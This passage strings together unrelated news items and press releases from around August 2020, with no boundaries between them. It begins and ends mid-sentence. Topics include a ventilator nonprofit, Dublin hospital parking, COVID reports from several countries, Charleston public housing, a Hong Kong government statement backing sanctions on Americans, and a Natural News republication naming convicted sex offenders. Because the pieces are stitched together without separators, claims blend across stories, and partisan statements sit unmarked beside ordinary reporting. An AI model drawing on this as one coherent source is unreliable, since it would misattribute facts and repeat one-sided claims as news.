will be highly effective and FDA compliant." To start, MedAcuity will be providing a complimentary gap analysis of the work completed by The Ventilator Project's engineers to offer guidance around hardening software and system-level requirements, deploying necessary process and best practices, documentation, and supporting artifacts that will be needed to successfully clear a 510k submission. "When the opportunity to support TVP arose, it was a no-brainer for MedAcuity," said Shawn Vanseth, business development & account management at MedAcuity. "We saw it as an opportunity to share our direct skills and industry experience for the common good." At this time, The Ventilator Project concluded a rigorous three-week testing phase to ensure that the ventilator meets all the required safety specifications. It has passed all testing and their EUA application has been submitted to the FDA. They expect to hear back in a few weeks regarding the status of authorization for the ventilator. About MedAcuity MedAcuity is a specialized engineering firm that focuses on medical technology software development. The trusted and experienced firm was founded in 2007 by a team of seasoned software engineers who identified opportunities to fill gaps in the engineering expertise and efficiency facing the medical technology industry. MedAcuity offers extensive experience across the MedTech industry with full life-cycle software development and sub-specialties in other areas including tool validation, algorithm development, and cybersecurity. About The Ventilator Project The Ventilator Project is a Boston-based non-profit organization founded in 2020 by robotics entrepreneur, Tyler Mantel, who saw a means of providing a solution for the increasingly critical ventilator shortage across the globe. With their novel holistic approach to the medical device market, The Ventilator Project addresses the four main concerns regarding ICU ventilators: scalability, storability, affordability, and safety. The Ventilator Project consists of over 250 volunteers from many top companies in the technology industry, and seeks to continue to construct necessary devices, all with the benefit of hospitals and patients in mind. SOURCE MedAcuity Software Related Links https://www.medacuitysoftware.com Dublin City Council will resume charging HSE workers parking near hospitals after this month. In March, the council had instructed Dublin Street Parking Services to exercise discretion when clamping cars parked in areas surrounding hospitals. In a memo sent yesterday to the Lord Mayor and Elected Members, Dublin City Council (DCC) chief executive Owen Keegan said that due to increasing traffic volumes and demand for on-street parking, residents with permits are currently unable to access on-street parking near their homes. Read More Mr Keegan said the relaxed parking restrictions "cannot be sustained" and full enforcement will resume in September. "The non-enforcement of paid parking restrictions in respect of vehicles owned by HSE staff, parked in the vicinity of hospitals was always intended to be a temporary measure. "At the time it was introduced it was not a major issue in the various locations where it applied, as there was limited demand for on-street parking. However, with the resumption in economic activity there has been a significant recovery in traffic volumes and in on-street parking demand," he said. "This has led to a situation where residents with Residents Parking Permits, living in the vicinity of major hospitals, cannot access on-street parking at or close to their homes at certain times. "A decision has now been made that the concession will end on 31 August, after which a full parking enforcement service will operate in the vicinity of hospitals." Sinn Fein councillor Seamas McGrattan has called for the council to reconsider its decision and extend free parking for health workers. "Dublin City Council management have confirmed that free parking for health care staff is to end at the end of August. But the Covid-19 pandemic wont," he said. "Nurses and doctors will continue to put their lives on the line, continuing to carry the stress and isolation of being front line staff. Healthcare workers deserve the citys support and solidarity. Free parking is the least that they can expect at this time." He added that he has written to Health Minister Stephen Donnelly, DCC, the HSE and others to ensure that free parking is available for healthcare workers. Irish Nurses and Midwives Organisation industrial relations officer, Mary Rose Carroll said healthcare workers will be "really disappointed" over the resumption of parking charges. "It has been an exceptionally stressful time in the health service, and the provision of parking has made a big difference. "Nurses and midwives have shown incredible commitment during the pandemic, taking great risks to provide care. It is unreasonable that they should have to pay over 35 a day to simply park at work," she said. "Due to late shifts, fatigue, and infection risk, public transport isnt an option for many of our members. Even if society is slowly normalising, COVID hasn't gone away. "We understand the council is under pressure, but now the onus is on the employers to either provide parking directly or make an arrangement with the council to ensure there are still parking options." BAKU, Azerbaijan, Aug. 11 By Ilkin Seyfaddini Trend: The trade turnover between Uzbekistan and Russia increased by 58 percent during the first half of 2020 compared to the same period of 2019 and reached $437 million, a representative of the Russias Ministry of Agriculture (Minselkhoz) told Trend in an interview. According to the representative, Uzbekistan's exports to Russia grew by 21.6 percent in 1H2020 compared to the same period of 2019 and reached $128 million. "The growth was achieved by increasing shipments of fresh apricots, cherries and cherries, peaches, plums, fresh tomatoes, fresh onion, vegetables, fresh cabbage and brassica type vegetables and dried fruits," she said. In her words, in the first half of 2020, Russia's exports to Uzbekistan increased in value terms by 79.8 percent compared to the same period in 2019 due to increased shipments of sugar, soy-bean oil cake, sunflower oil, chocolate confectionery products and fresh potatoes. The figure stood at $309 million. "The main commodity positions in the structure of Russian imports from Uzbekistan in 2019 were apricots, cherries and wild cherries, peaches, plums, fresh (45,000 tons amounting to 18 percent of the total volume); fresh or dried grapes (38,000 tons, 16 percent); fruit and vegetable juices (18,000 tons, 9.3 percent); vegetables (28,000 tons, 8.8 percent); and tomatoes (29,000 tons, 8.1 percent)," stated the official. The parties are actively working to increase and expand the range of agricultural products and foodstuffs to the markets of both countries, the representative added. --- Follow author on Twitter:@seyfaddini (Newser) The hottest US city has broken its own record for most 110-degree days in a year"a record nobody really wants," a meteorologist tells the Arizona Republic. Phoenix cracked 110 degrees for its 34th day of the year on Sunday, surpassing the previous record of 33 days set in 2011. A day later, the steamy city adding its 35th day with a recorded a temperature of 111 degrees. With high temperatures expected to continue into the weekend, "most likely it'll be over 40 days and counting by this time or earlier next week, and who knows when it's going to end," says meteorologist Chris Breckenridge. story continues below An excessive heat watch is in effect from Wednesday to Sunday, with temperatures expected to hit or exceed 110 degrees, says meteorologist Matthew Hirsch. He says July was actually the hottest month recorded since 1895. "Normally when you get moisture it keeps things a little bit cooler" but the 2020 monsoon season was likely the driest in 30 years, he tells the Republic. That means fewer clouds to block solar rays and little moisture to be evaporated. Even desert plants are suffering, per Mashable. Residents are urged to stay hydrated and not to go outside during the hottest times of the day. (Read more Phoenix stories.) A man jailed after deliberately sneezing and coughing on people at the height of the coronavirus pandemic has issued an emotional apology to those affected - while revealing a family member has died from the virus. Raymond Gary Coombs, 39, was sentenced to 16 months jail, fined $750 and banned from driving for 28 days in June after uploading a video of himself coughing and sneezing on others in a Christchurch supermarket. Coombs could be seen smirking in the video, which has since been taken down, while conducting the offensive acts at Barrington Mall's Fresh Choice supermarket. In a letter addressed to Newshub on Tuesday and confirmed by his lawyer Kathy Basire, Coombs said he was 'sincerely sorry' and felt 'ashamed' by his actions. He said he understood he would never be forgiven by his family after learning his uncle's father died from COVID-19 in prison. 'I would like to apologize to my own family. I feel ashamed. My uncle: your father died due to COVID-19. I will understand if I am never forgiven. I am eternally sorry,' Coombs wrote in the letter. Coombs could be seen smirking in the video, which has since been taken down, while conducting the offensive acts at Barrington Mall's Fresh Choice supermarket (pictured) Just days prior to the supermarket stunt - inspired by 'watching some stuff on social media' - the tradesman uploaded a video to Facebook on March 31 claiming he tested positive to COVID-19. The test, however, returned a negative result. Prime Minister Jacinda Ardern called Coombs 'an idiot' for his carelessness of his actions in April, and Judge Raoul Neave described his behaviour in the Christchurch District Court on June 16 as 'dangerous, selfish and stupid'. Raymond Gary Coombs (pictured), 39, was sentenced to 16 months jail, fined $750 and banned from driving for 28 days in June after uploading a video of himself coughing and sneezing on others in a supermarket at the height of the coronavirus pandemic In his new letter, Coombs agreed with the damning assessment. 'I knew in the moment that what I was doing was highly offensive, rude and potentially imprisonable. I have spent much of my life being selfish, unreliable ... arrogance is my middle name,' he said. Coombs specifically mentioned and apologised to one of the persons he targeted at the supermarket at the time of the incident. 'One of the ladies at the supermarket was a friend's mum, a kind and caring person. I am sincerely sorry to you also, and equally,' he wrote in the letter. Coombs' letter follows offering 'sincere apologies' in a previous social media post. 'It never should've happened - the alcohol had really taken effect and I have no censor when I get this messy,' Coombs wrote. 'There is nothing else I can say but apologise to everybody and assure you all it will not happen again.' Raymond Gary Coombs' apology To whom this may concern, Hello my name is Raymond Gary Coombs. I was responsible for pretending to sneeze on people at the Barrington Mall Fresh Choice Supermarket earlier this year. I wish to apologize for my behaviour which offended so many people both here as well as far-reaching corners of the globe. I am above all else sincerely sorry and I actually have no excuse. I knew in the moment that what I was doing was highly offensive, rude and potentially imprisonable. I have spent much of my life being selfish, unreliable, arrogance is my middle name. I am as my ex-girlfriend ever so correctly voices, "the gift that keeps on giving". One of the ladies at the supermarket was a friend's mum, a kind and caring person. I am sincerely sorry to you also, and equally. I told people after my offence that I had not followed the news and therefore had no idea just how serious this global pandemic actually was. This was untrue. I had every idea and I did what I did regardless. I am very embarrassed indeed. "Finally I would like to apologize to my own family. I feel ashamed. My uncle: your father died due to COVID-19. I will understand if I am never forgiven. I am eternally sorry. Rest in peace uncle. Yours sincerely, Raymond Gary Coombs Source: Newshub Advertisement Coombs will be able to apply for home detention once a bed at a rehabilitation facility becomes available. He was also banned from driving for 28 days and will be able to apply for a zero-alcohol licence. His sentencing comes after being convicted of drink driving in August 2019, when he was caught with a blood alcohol reading of 0.239 - almost five times the legal limit of 0.05. He later pleaded guilty to a string of other offences, including careless driving, refusal to provide a blood sample and breaching his release conditions by contacting an ex partner who he was ordered not to communicate with. Defence lawyer Kathy Basire argued Coombs endured 'significant childhood trauma' and started drinking again on the anniversary of his mother's death. While he had undergone alcohol treatment in prison before, Ms Basire told the court he wanted more treatment to curb his binge-drinking. Hong Kong: Govt supports sanctions against US The Hong Kong Special Administrative Region Government today said that it fully supports the Central People's Government's (CPG) imposition of sanctions against 11 people from the US and will facilitate the enforcement in accordance with the law. In response to the so-called sanctions introduced unreasonably by the US Government against officials of the CPG and the Hong Kong SAR Government days earlier, which represent blatant and barbaric interference in the People's Republic of China's internal affairs, the Ministry of Foreign Affairs announced sanctions against 11 people from the US. In a statement, the Hong Kong SAR Government said that such a countermeasure is necessary for safeguarding the nation's interests and it fully supports the move. It pointed out that in recent months, the US passed laws and pronounced an executive order targeting Hong Kong under the pretext of human rights, democracy and autonomy, blatantly deviating from international laws and basic norms governing international relations and ignoring the rampant violence in Hong Kong in the past year. The Hong Kong SAR Government stressed that the US also smeared the National Security Law, displaying in full its double standards and hypocrisy and seriously damaged bilateral relations. The CPG and the Hong Kong SAR Government had repeatedly expressed firm opposition to the US' acts. The CPG also emphasised that it reserved the right to take countermeasures. The Hong Kong SAR Government described the so-called sanctions by the US as a shameless and despicable act that is resented by Hong Kong people and the whole nation. This story has been published on: 2020-08-11. To contact the author, please use the contact details within the article. The Junta de Andalucia has said this Tuesday that the coronavirus pandemic in the region is "under control". It understands, however, that "it's necessary to keep taking measures" to keep it that way, and called for "responsibility" among young people "Seventy per cent of admissions [to hospital] in Andalucia are people between the ages of 20 and 51," said Andalusian government spokesperson and regional cabinet minister Elias Bendodo in an interview given to Onda Cero radio on Tuesday morning. "Citizens need to see that those responsible for the situation progressing as it is doing are not the authorities, but the citizens themselves with their responsibility," continued Bendodo. He stressed that Andalucia is "the most populated region in Spain" and the one that has the greatest volume of tourism in the country, but despite this the pandemic situation is "controlled" although there are "new outbreaks as there are in all parts of the world". Bendodo said the curve of contagion in the region is "flattening and the figures from the last few days have shown a reduction compared with previous days". He also said that thanks to the monitoring carried out by the contact tracers "almost no outbreak" detected in Aadalucia "has more than ten cases of infection". The regional minister stated that the Junta has a plan to assess the pandemic situation every two weeks and "update measures". The next meeting for this will be this Thursday 13 August when the committee of experts that advises the Junta will "assess the situation and announce new measures" to keep the situation "under control" as it is now. Events When asked about possible health and safety breaches at a bullfight last week in El Puerto de Santa Maria (Cadiz), Bendodo said that "from next Thursday" the Junta will "set down the need" to guarantee the obligatory one and a half metre distance among the public at events. He said that while at bullfights the maximum spectator capacity is 50%, the measures will be taken in relation to the physical separation between members of the public. The regional minister said that the current penalty system, which includes fines of between 100 and 600,000 euros for failure to comply with Covid-19 health and safety regulations, "will be applied, and is being applied, and fines issued, to the letter. This week's figures The number of patients with Covid-19 admitted to hospital in Andalucia has doubled in the last two weeks. On 30 July 52 patients were in hospital (seven in intensive care) around the region; the figure reported on Monday by the regional health authorities was 110 (20 in ICU). The increase in Malaga province is similar. On 30 July there were nine people with Covid-19 in hospital (none in intensive care) while on Monday this had gone up to 18 (two in ICU). Monday's figures increase the number of "active" local outbreaks in Malaga province to 31, of which 28 were at the investigation stage (contact tracing and testing) and the rest considered to be controlled. More than 10 years after Charleston County's public housing agency took out a loan to make improvements to an aging senior housing building, that debt has stymied operations and contributed to poor living conditions for residents. With new leadership in place, county Housing and Redevelopment Authority officials say they're pushing ahead. Work is under way to improve living conditions and, despite the challenges, housing officials said they believe a better future lies ahead for the agency, the 70-year-old building and the residents who live there. "We have aggressively taken care of the pests and the rodent control and we've set up quarterly inspections," Sandino Moses, chairman of the housing authority's board of commissioners, told The Post and Courier on Monday. Moses was elected on July 22 by his fellow commissioners to head the housing authority's governing body during a meeting that saw the agency emerge from several months of turmoil, including the previous CEO being removed and Charleston County council members voting to remove the previous board chairman, George Dawson. The new chairman said he's been working closely with Curtis Thompson, president of the building's residents' association and a housing board commissioner, on addressing residents' concerns as quickly as possible. The results so far are clear. "The rats, the rodents, the bedbugs they're gone," Moses said. "That's one of the first things we took care of on the spot." The Post and Courier first reported on conditions in the 12-story building on Mount Pleasant Street in May after residents reported cockroach and bedbug infestations, rats, mice, dust coming out of air conditioning vents. Moses said his agency has worked to address other issues in the building, as well. After ongoing concerns over drug and other criminal activity inside the high rise, the housing authority put up extra security cameras focusing on blind spots where dealers would set up, he said. But the road ahead won't be easy. Lingering debt Built in 1950, Joseph Floyd Manor has suffered from neglect for years. According to information provided by the U.S. Department of Housing and Urban Development, the county housing authority asked federal officials for permission to get a $1.4 million loan from the Federal National Mortgage Association known as Fannie Mae in 2006. The loan was to be paid off using a portion of the housing authority's yearly funding from HUD. Such loans are used to help public housing authorities modernize existing housing or build new housing, HUD said. Federal officials approved the Charleston County agency's loan request. There is currently $631,823 due on the loan, HUD said. A letter sent by Dawson to Charleston County council members sheds further light on how that loan hampered progress. After the 2008 financial crisis, the loan and others were sold onto the private equity market, according to the letter, which asked council members to approve $300,000 in one-time funding help. Charleston County Council provided that money last year. The Fannie Mae loan ended up in the hands of Deutsche Bank, according to the letter. Each year since, HUD has withheld $110,000 from the housing authority's funding to pay off the debt. "Much needed maintenance and repairs have been postponed on many properties due to the loan payments," the letter said. In addition, federal budget sequestration from 2013 to 2015 led to 25 percent cuts in HUD's funding to local agencies like the Charleston County Housing and Redevelopment Authority, the letter said. Although funding has since rebounded, those three years of additional cuts set back maintenance even further at Joseph Floyd Manor and other housing authority properties, according to the letter. Moses said there is a plan in place, pending approval from federal authorities, to pay off that loan using the yearly capital funds and by selling off nine single-family homes the agency owns. He and other commissioners said they're trying to strike a balance. They don't want to decrease availability of affordable housing in the area, but they also need to pay off the debt to make renovations and for other needed projects. Paying off the loan also will help them qualify for more HUD funding, Moses said. The road ahead As local officials tackle the debt and ongoing work to make sure vermin do not re-infest Joseph Floyd Manor, federal housing officials said they're still preparing to do an emergency inspection of the building. The inspection was supposed to be in mid-July but was derailed by swelling coronavirus case numbers in South Carolina. HUD decided its personnel would not be able to venture inside the building until conditions were safer. The agency confirmed on Monday that a team will reassess disease activity on Friday. If the situation on the ground has improved enough, they will schedule the inspection, HUD said. "The health and safety of the residents of Joseph Floyd Manor is of the upmost importance," according to the agency. "HUD has been working with (Charleston County Housing and Redevelopment Authority) for years to help address the needs at Joseph Floyd Manor and HUD looks forward to continuing our dialogue with the localities." Moses said he and his fellow board members are concentrating on pressing forward and providing safe, quality, affordable housing. He urged residents to work with housing authority staff. If something breaks or they see vermin, they should immediately contact the building manager, Moses said. If the problem isn't promptly fixed, they can contact Irvin Marshall, the housing authority's interim CEO, or they can reach out to Thompson. Mohi. B announces the release of 13: An Immigration Tale GOTHENBURG, Sweden, Aug. 11, 2020 (GLOBE NEWSWIRE) -- When he first came to Sweden, Mohi. B wrote headnotes of the important events that happened during his journey. However, he got depressed during this period because of recalling the unpleasant events that happened in his journey and decided to not write anymore. Years later, he posted an Instagram story of the papers he wrote and people got interested in it. Inspired by this positive response, he decided to turn it into a book titled, 13: An Immigration Tale (published by AuthorHouse UK), a story that highlights the difficulties refugees go through during their immigration for a better life. This book shares the true story of Mohi, a Syrian refugee who was forced to leave his homeland with hope for better opportunities in Europe. His journey took him from Turkey and ended in Sweden. During this journey, he went through Greece, Macedonia, Serbia, Hungary, Croatia, Slovenia, Austria and Germany. He now lives in Sweden. He studies at Chalmers University but had to stop his studies and work in order to apply for a permanent resident permit. However, he did not get one. He hopes that he will, one day, be able to call Sweden his home country and finally feel home. My journey does not only talk about me, but, it is also about the people I met along the way, the author says. Each person has a unique story as a refugee and this book goes through these stories in detail and offers different stories, backgrounds and reasons why people are forced to leave their homelands. The publication of 13: An Immigration Tale aims to show readers what refugees usually go through in exchange for a better life and the struggles that they encounter during their journey hoping to get an opportunity to live safely in another country. For more details about the book, please visit https://www.authorhouse.com/en-gb/bookstore/bookdetails/800617-13 https://www.amazon.com/gp/product/1728354218/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1 Story continues 13: An Immigration Tale By Mohi. B Softcover | 8.5 x 11in | 210 pages | ISBN 9781728354217 E-Book | 210 pages | ISBN 9781728354200 Available at Amazon and Barnes & Noble About the Author Mohi. B is a 22-year-old Syrian guy who left his home country when he was 14. He lives in Gothenburg, Sweden. Aside from writing, he is also an artist who draws and paint almost every day. AuthorHouse, an Author Solutions, Inc. self-publishing imprint, is a leading provider of book publishing, marketing, and bookselling services for authors around the globe and offers the industrys only suite of Hollywood book-to-film services. Committed to providing the highest level of customer service, AuthorHouse assigns each author personal publishing and marketing consultants who provide guidance throughout the process. Headquartered in Bloomington, Indiana, AuthorHouse celebrates over 23 years of service to authors. For more information or to publish a book visit authorhouse.co.uk or call 0-800-014-8641. Attachment CONTACT: Marketing Services AuthorHouse 0-800-014-8641 pressreleases@authorhouse.com JavaScript is disabled. For a better experience, please enable JavaScript in your browser before proceeding. You should upgrade or use an You are using an out of date browser. It may not display this or other websites correctly.You should upgrade or use an alternative browser Sam, a healthcare worker in Melbourne, urged residents to take it seriously A young couple battling COVID-19 have been accused of being paid actors by cruel online trolls after they warned of the dangers of the virus. The Victorian government launched an ad campaign to highlight the risk of coronavirus, demonstrating how the disease does not discriminate based on age or health. Sam Martin, 26, and his girlfriend Sarah Robson, who are both midwives at the Royal Women's Hospital in the inner northern Melbourne, appeared in the ad after being rushed to hospital with the deadly virus. The usually healthy pair, who used to enjoy 50km daily hikes, shared how the disease left them in excruciating pain and struggling to breathe. In the heart-wrenching clip Ms Robson also opened up about her struggles having to be separated their her two young sons. The video was aimed at encouraging others to take the virus seriously but some viewers were still skeptical - even accusing the couple of being paid actors. Scroll down for video Mr Martin said the couple (pictured) were both fit and healthy until they contracted the deadly illness The couple (pictured) expect to have on-going health issues after contracting the illness. They spoke out to warn that anyone can be affected by the disease Speaking to A Current Affair host Tracy Grimshaw on Monday night, Mr Martin disputed those allegations. 'For the other people who are not doing the right thing, the people who are commenting that this isn't real, that we are paid actors, this is very real,' he said. Mr Martin was alone during the interview as his partner Sarah is till battling the disease several weeks after she was first diagnosed. He said she was still very weak, unable to or make it through a shower without passing out. 'Sarah was quite unlucky in that she ended up with a lot more of the pain from COVID(she) had inflammation in her lungs that was making it really painful to breathe as well as a lot of other joint pain, kidney pain,' he said. Mr Martin was first to develop symptoms but they were mild at first. He just had a runny nose on a cold day but he decided to go and get tested just in case. Sam and his partner Sarah (pictured) who are both midwives at Royal Women's Hospital in the inner northern Melbourne, appeared in the ad after being rushed to hospital Sarah Robson (pictured) is till battling the disease several weeks after she was first diagnosed While waiting for he test results to come back his health deteriorated. He spent four days with flu-like symptoms before the respiratory issues kicked in. 'My lungs just weren't working the way they should be, I ended up collapsing at home and that's when I needed to be taken to hospital.' He said being admitted to the COVID ward was 'terrifying'. 'There were people coughing, people gasping for air,' he added. Mr Martin's (pictured) symptoms were mild at first. He just had a runny nose on a cold day but he decided to go and get tested just in case Mr Martin has since been released from hospital and returned back to work a few days ago. However, he said he was still suffering from some breathing issues long after he had recovered. 'There is a lot of shortness of breath, if I try to hold a conversation for too long, youll notice that I try to get deep breaths in,' he told Sunrise. 'There are a lot of aches and pains that theyre (doctors) not really sure where theyre coming from or when they are going to resolve.' During the interview admitted back in January he was among the deniers who thought the illness was just a flu. The once healthy pair (pictured) shared how the disease left them in excruciating pain and unable to stand 'I can tell you no, this is so so much worse,' Mr Martin said. 'We were both quite fit prior to this, and then we are both here, stuck, unable to work.' He thanked the residents who were doing the right thing and urged those who were not to start taking it seriously. 'No one is immune and this virus really doesnt discriminate. 'It doesnt matter if youre young, fit and healthy with no risk factors - coronavirus can still put you in hospital.' China's National Health Commission said Monday there were 14 new locally transmitted cases, all of which were in the northwestern Xinjiang region that is the country's current hotspot. China also had 35 imported cases from travelers arriving from overseas. "Sadly, when it comes to the fatalities that result from COVID, that reflects a situation of several weeks ago now as the virus has taken its course with these particular individuals, the work continues," Prime Minister Scott Morrison told reporters Monday. "We look for better news when it comes to the stabilizing of cases in Victoria. I am more hopeful of that today than I was in the course of the past week over the briefings I have received over the course of the weekend and again this morning." Australia reported its own deadliest day with 19 new deaths, while the center of the country's outbreak, the state of Victoria, saw some decline in its number of new cases. The country has also reported more confirmed new cases than any other in the world for six consecutive days, including 62,000 on Monday. India on Monday reported more than 1,000 new coronavirus deaths, the most the country has recorded in a single day since the pandemic began. The new toll put India's total at 44,386 deaths, trailing only the United States, Brazil, Mexico and Britain. In response to a rise in infections, authorities in Paris imposed a one-month order starting Monday requiring people to wear masks in popular outdoor areas such as along the banks of the River Seine. Paris joins other French cities with similar orders in place, including Toulouse, Lille and Bairritz. Those caught violating the Paris order face a fine of about $160, while those caught three times could face up to six months in prison. Students in Germany's capital return to school Monday as government leaders try to figure out the best way to keep children and staff members safe from the coronavirus. "There are conflicting priorities, health protection on the one hand, which is very important to us, and on the other hand that we want to ensure the right to education of every single child," German education minister Sandra Scheeres said. She said keeping students 1.5 meters apart while inside a school is sometimes impossible. Scheeres recommends that schools divide pupils into groups and keep them separate. If anyone were to test positive for the coronavirus, only that person and their cluster would need to be quarantined instead of everyone. The central government will require students and teachers to wear masks in the hallways but will not require them in classroom instruction or on playgrounds. Many other countries are also struggling to decide how and when to reopen schools. President Donald Trump has been pushing for all U.S. schools to reopen for in-person learning. But many states say they aren't ready and plan to begin the school year at the end of this month the same way they ended the old one in June -- using virtual classrooms. Last week a photograph of a crowded hallway in a Georgia school showed only a few students wearing masks. The school was closed and students were sent home for online classes after nine students tested positive for the coronavirus. UN Secretary-General Antonio Guterres warned last week of a possible "generational catastrophe" in education because of shuttered schools. He urged countries to make reopening schools a top priority once the coronavirus crisis subsides. British Prime Minister Boris Johnson said in an article in the Daily Mail newspaper that the country has a moral duty to reopen schools. He said restarting schools is a national priority and a social and economic necessity. Johnson asserted that British schools can operate safely and has previously said schools would be the last places to close if there is another COVID-19 shutdown. The British school year is set to start in early September. A jury at the Central Criminal Court in Dublin is set to resume deliberations on Wednesday in the case against a Northern Ireland man accused of murdering a Garda detective. Aaron Brady, 29, of New Road, Crossmaglen, Co Armagh, is charged with the capital murder of Detective Garda Adrian Donohoe in Co Louth seven years ago. The 41-year-old detective was shot during the robbery of Lordship Credit Union in Bellurgan on January 25 2013. His widow Caroline along with other family members and Garda colleagues were among those at the Central Criminal Court on Tuesday awaiting the jurys verdict. On Monday, Brady was found guilty by the jury of the robbery of approximately 7,000 euro (6,293) in cash and cheques outside Lordship Credit Union. Mr Donohoe had been on duty at the credit union in Bellurgan when he was shot and fatally wounded. Brady has denied the murder charge. The jury of five men and seven women are considering four potential verdicts, capital murder, murder, manslaughter or acquittal. Mr Justice Michael White told jurors that a majority verdict on the charge of capital murder will be accepted if at least 10 of them are in agreement. The charge of capital murder includes an aggravating factor such as murdering a police officer while on duty. The jury will resume deliberations on Wednesday morning. In addition to its clear impact on physical health, COVID-19 may also have adverse consequences for brain health. Therefore, researchers at Baycrest's Rotman Research Institute (RRI) are investigating the possible effects of COVID-19 and infection prevention measures on dementia risk in older adults. "The pandemic may increase the risk of developing dementia in two ways. First, through the virus' hallmark respiratory symptoms, there may be a decrease in oxygen going to the brain, which could have negative consequences and cause damage," says Dr. Jennifer Ryan, senior scientist at the RRI. "Emerging research from around the world is showing that being hospitalized and on a respirator has a negative impact on the brain." Adds Dr. Ryan, "Second, the infection prevention measure of physical distancing may result in social isolation for some individuals. This could lead to a depressive episode, and we know that depression increases the risk for mild cognitive impairment (MCI) and dementia later on." The effects of the pandemic on brain health cannot be ignored. Someone who was doing cognitively well before the pandemic hit might end up in the hospital with COVID-19 or experience a depressive episode due to social isolation, which could put them on the trajectory to dementia. In this study, the researchers are making bi-weekly phone calls to healthy older adults living in the community and asking them about their mental health, their exercise and socialization levels, and their exposure to COVID-19. They are also testing these older adults' cognitive functions, like memory. The study is part of a larger research project looking at the factors that may predict which older adults ultimately develop MCI or dementia. "This study will increase our understanding of the risks posed to older adults' brain health during the pandemic," says Dr. Rosanna Olsen, scientist at the RRI. "The results should also help identify ways in which this group can be supported during these unprecedented times, for instance through virtual social interactions, exercise programs or other COVID-safe activities." The study examining the factors that predict who will develop dementia is funded by the Canadian Institutes of Health Research (CIHR). With additional funding for the COVID-19 portion of their research, the scientists could facilitate more calls to more participants within a shorter window of time, and share their results with the scientific community and general population more quickly. ### About Baycrest Baycrest is a global leader in geriatric residential living, healthcare, research, innovation and education, with a special focus on brain health and aging. Baycrest is home to a robust research and innovation network, including one of the world's top research institutes in cognitive neuroscience, the Rotman Research Institute; the scientific headquarters of the Canadian Consortium on Neurodegeneration in Aging, Canada's largest national dementia research initiative; and the Baycrest-powered Centre for Aging + Brain Health Innovation, a solution accelerator focused on driving innovation in the aging and brain health sector. Fully affiliated with the University of Toronto, Baycrest provides excellent care for older adults combined with an extensive clinical training program for the next generation of healthcare professionals. Through these initiatives, Baycrest has remained at the forefront of the fight to defeat dementia as our organization works to create a world where every older adult enjoys a life of purpose, inspiration and fulfilment. Founded in 1918 as the Toronto Jewish Old Folks Home, Baycrest continues to embrace the long-standing tradition of all great Jewish healthcare institutions to improve the well-being of people in their local communities and around the globe. For more information please visit: http://www.baycrest.org About Baycrest's Rotman Research Institute The Rotman Research Institute at Baycrest is a premier international centre for the study of human brain function. Through generous support from private donors and funding agencies, the institute is helping to illuminate the causes of cognitive decline in seniors, identify promising approaches to treatment and lifestyle practices that will protect brain health longer in the lifespan. BAKU, Azerbaijan, Aug. 9 By Rufiz Hafizoglu Trend: The export of defense products from Turkey to Russia grew by 23.53 percent from January through May 2020, compared to the same period of 2019, having surpassed $4.2 million, Turkish Trade Ministry told Trend. According to the ministry, the export of defense products from Turkey to Russia rose by 10.89 percent in May 2020, compared to the same month of 2019, reaching $897,000. In the first five months of this year, Turkeys export of defense industry products to international markets dropped by 28.7 percent compared to the same period of 2019, having amounted to $755.6 million. The country's export of defense products to foreign markets made up 1.2 percent of the countrys total export over the reporting period. In May 2020, Turkeys export of defense products abroad amounted to $112.4 million, showing a 54.8 percent decrease over the year. Meanwhile, Turkeys export of defense products to world markets amounted to 1.1 percent of the countrys total export. In the last 12 months (from May 2019 through May 2020), Turkey exported over $2.4 billion worth of defense products abroad. --- Follow the author on Twitter: @rhafizoglu (Natural News) New York City, New York Theres nothing more unwanted in a community than someone convicted crimes related to pedophilia yet it seems that New York City has housed six convicted pedophiles in a Manhattan hotel that lies just under 1000 feet away from a elementary school playground. (Article republished from LawEnforcementToday.com) According to state law, the aforementioned is a violation of law in and of itself via issued court opinions on what it means that convicted sex offenders cannot enter or be near schools or other areas primarily designated for children. The Belleclaire hotel at Broadway and West 77th Street is located near the playground for PS 87, which the states Sex Offender Registry still shows the six to still be housed there under their primary residence. As of August 7th, a city rep noted that the listings were inaccurate and claimed that the six mentioned pedophiles on the registry are not at that location. When pressed on whether the six men have ever been housed at said location post release, no further comment was provided by the city rep. As of August 8th, Law Enforcement Today confirmed on the registry that the men are still being listed as living at the addresses afforded to the Belleclaire hotel. Here are the six pedophiles still listed at the address: Twenty-six-year-old Devron Vernal was convicted in March of 2015 under the charge of sexual contact with an individual less than 11-years-old. His victim, who his relationship status was cited as being non-stranger, was a 4-year-old girl. His criminal acts were described as sexual contact and deviate sexual intercourse. Vernal was sentenced to 4 years in prison for the offense. Twenty-nine-year-old Jonathan Evans was convicted in October of 2010 under the charge of criminal sexual act in the first-degree of a victim less than 11-years-old. His victim, who his relationship status was cited as being non-stranger, was a 6-year-old boy. His criminal acts were described as sexual intercourse, sexual contact and deviate sexual intercourse. Evans was sentenced to 5 years in prison for the offense. Fifty-one-year-old Anderson Stuckey was convicted in December of 2005 under the charge of course of sexual conduct against a child in the second-degree against a child under 11-years-old. His victim, who his relationship status was cited as being non-stranger, was a 10-year-old girl. His criminal acts were described as sexual intercourse, sexual contact, sexual contact attempted, kidnapping/unlawful imprisonment and deviate sexual intercourse. Stuckey was sentenced to 12 years in prison for the offense. Thirty-five-year-old Orlando Velasco was convicted in July of 2011 under the charge of course of sexual conduct against a child in the first-degree against a child under 11-years-old. The exact details of the relationship to his victim or the victims exact age were not reported. All that was cited was that hed spent 42-months in prison for the convicted offense. Sixty-two-year-old Ronald Butler was convicted in June of 2013 under the charge of third-degree rape of a victim under 17-years-old with an offender over the age of 21-years-old. His victim, who his relationship status was cited as being non-stranger, was a 16-year-old girl. His criminal acts were described as more than once sexual contact and more than once sexual intercourse. Butler was sentenced to 2 years and 6 months in prison for the offense. Thirty-seven-year-old Rafael Medina was convicted in September of 2015 under the charge of course of criminal sexual act in the third-degree with an offender over 21-years-old and a victim less than 17-years-old. His victim, who his relationship status was cited as being non-stranger, was a 15-year-old girl. His criminal acts were described as sexual contact. Medina was sentenced to 3 years in prison for the offense. Read more at: LawEnforcementToday.com A new Robin Williams documentary is set to be released soon which will follow the late comedians battle with a neurological disease. Robins Wish, directed by Tylor Norwood, sets out to detail the actors private battle with Lewy Body Dementia and the effect it had on his family, friends. The trailer of the film hints at both the public and private life of the star, and how he remained positive and steadfast even as he succumbed to his illness. During the last year of his life, Robin was confronted with anxiety, paranoia, insomnia, scary altered realities and a roller coaster of hope and despair. With our medical teams care, we chased a relentless parade of symptoms but with very little gain. It wasnt until after Robins passing, in autopsy, that the source of his terror was revealed: he had diffuse Lewy body disease. It was one of the worst cases medical 